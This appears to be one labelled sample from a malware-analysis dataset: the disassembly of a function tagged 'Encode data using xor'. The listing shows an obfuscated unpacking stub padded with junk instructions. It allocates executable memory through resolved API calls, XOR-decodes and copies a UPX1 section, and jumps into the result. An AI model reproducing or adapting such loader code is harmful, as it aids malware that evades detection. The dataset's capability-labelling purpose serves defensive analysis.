Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x404a4557
or edx, edx
sub ecx, edx
not edx
popal
sub ecx, 0x149e96ac
not ecx
dec edx
mov ebx, 0
mov edi, esi
or ecx, edx
not edx
mov eax, edi
add edx, 0x603e4653
mov edx, 0x27eea6f5
and ecx, edx
mov esi, eax
inc edx
or edx, ecx
add ebx, 1
mov ecx, 0x159e9f16
sub edx, 0xac4f65dc
cmp ebx, 0x100dfa8
jne 0x47b44f
not edx
mov ecx, edx
sub ecx, 0x93f8b694
add ecx, ecx
mov ecx, 0x47b21e
add ebx, 0xd4a037a7
inc edi
mov eax, 0x47b412
and ebx, ebx
mov edx, 0x49eb4cf8
sub edi, ebx
mov esi, dword [ecx]
sub edx, edi
add edx, edi
and esi, 0xff
sub edx, 0x1fc3e132
add ebx, edx
xor dword [eax], esi
mov edx, ebx
add edi, 0xd929d949
or edi, edi
inc eax
and edx, edx
add ebx, edx
add ecx, 1
mov edi, 0x62cbbcc6
add edx, 0xa98ad0a8
inc edx
cmp eax, entry0
jl 0x47b4ac
add edi, ebx
add edi, 1
add ebx, 1
add edi, edi
add ebx, 0x1912dbd2
mov edx, 0x3d12e895
not esi
and esi, edx
and ebx, edx
mov edi, 0x47b416
dec edx
or ebx, ebx
mov edi, dword [edi]
dec ebx
mov esi, ecx
mov edi, dword [edi]
and ecx, esi
and ecx, edx
push edi
not edx
mov edx, 0xd290db26
sub ebx, 0x817a5908
mov edi, 0x47b412
add ebx, 0x55647aad
sub edx, 0xaa6e03c6
sub ecx, esi
mov edi, dword [edi]
add esi, 0xb4bc5f7a
inc ecx
mov edi, dword [edi]
add esi, esi
and ecx, ecx
mov edx, 0xca7f10c0
push 0x47b41a
mov esi, 0x2efe5517
add ecx, ecx
not ebx
call edi
not ebx
mov esi, edx
add ecx, ecx
pop edi
add ecx, 1
dec ebx
push 0x47b427
dec ecx
and edx, ebx
sub esp, 4
mov dword [esp], eax
add esi, 0x8beca523
add ecx, 1
or ebx, edx
call edi
not ebx
dec esi
push 0x40
or ecx, edx
add ecx, ebx
mov ecx, esi
sub esp, 4
mov dword [esp], 0x3000
or edx, ebx
dec edx
push 0x200003d9
and ecx, esi
add ebx, ecx
or esi, esi
push 0
add esi, ebx
sub ecx, esi
sub edx, ebx
call eax
mov ecx, esi
inc esi
sub edx, 0xbd9ea551
add eax, 0x20000334
add edx, esi
add ebx, 0xa1d0cdfa
or edx, ebx
mov edi, 0x85b8d2cd
add ecx, 0x851d43b9
sub ebx, 0xc95a19b
mov edx, 0xe9375d5a
mov dword [eax], edi
sub esi, 0xfdd5e7d6
mov ebx, 0x756fa8fd
mov edi, dword [eax]
mov ecx, 0xc3a6c772
add ebx, 0x1aed7e44
and edx, esi
cmp edi, 0x85b8d2cd
je 0x47b621
mov ecx, 0
mov bl, byte [ecx]
sub ecx, 0x8414e92e
sub esi, ecx
add ecx, edx
and ebx, edx
and edx, edx
inc edx
dec ecx
sub ecx, 0xa785cf98
mov esi, section.UPX1
inc ecx
inc edx
mov eax, 0x47b21d
inc edx
sub edx, ecx
mov edi, 0
inc ecx
sub edx, 0x2c560aba
mov ebx, 0x47b21e
dec edx
or edx, edx
lea ebx, [ebx + edi]
not edx
mov edx, 0xd4f91ebb
mov ebx, dword [ebx]
add ecx, ecx
not edx
mov edx, 0x7fa5e901
and ebx, 0xff
mov ecx, edx
inc ecx
or edx, edx
inc edi
add ecx, edx
add edx, 0x916bc325
cmp edi, 0x1f4
jne 0x47b690
mov edi, 0
add edx, 0x8e979685
mov edx, ecx
or ecx, edx
sub ecx, 0x95b142cc
add edx, 0x7d0cc5ac
xor dword [esi], ebx
mov edx, 0x148a703f
or ecx, edx
add esi, 2
sub edx, 0xcab31b93
mov edx, 0xee86bed4
add ecx, ecx
cmp esi, eax
jl 0x47b652
mov edx, ecx
add edx, edx
mov ecx, edx
dec edx
add edx, ecx
mov edx, section.UPX1
sub esi, 1
dec ecx
mov ecx, esi
mov edi, section.UPX1
sub ecx, 0xd3901374
mov ecx, esi
sub ecx, esi
mov eax, 0x47b21d
or ecx, ecx
inc ecx
or esi, ecx
mov ebx, 0
not ecx
mov esi, 0x211a7fa1
mov bl, byte [edi]
sub esi, 0xbecb2017
mov esi, ecx
and esi, ecx
mov byte [edx], bl
add ecx, ecx
dec ecx
add esi, 0xa155394b
inc edx
sub esi, 0xb8d2c317
mov ecx, esi
add edi, 2
or esi, ecx
and esi, esi
or esi, ecx
cmp edi, eax
jle 0x47b706
add ecx, 0x433729d0
add ecx, ecx
sub esi, 0xd615f860
add ecx, 1
add edx, 1
add edx, 0x13a00e0d
push 0x45e6a0
sub edx, ecx
and edx, edx
ret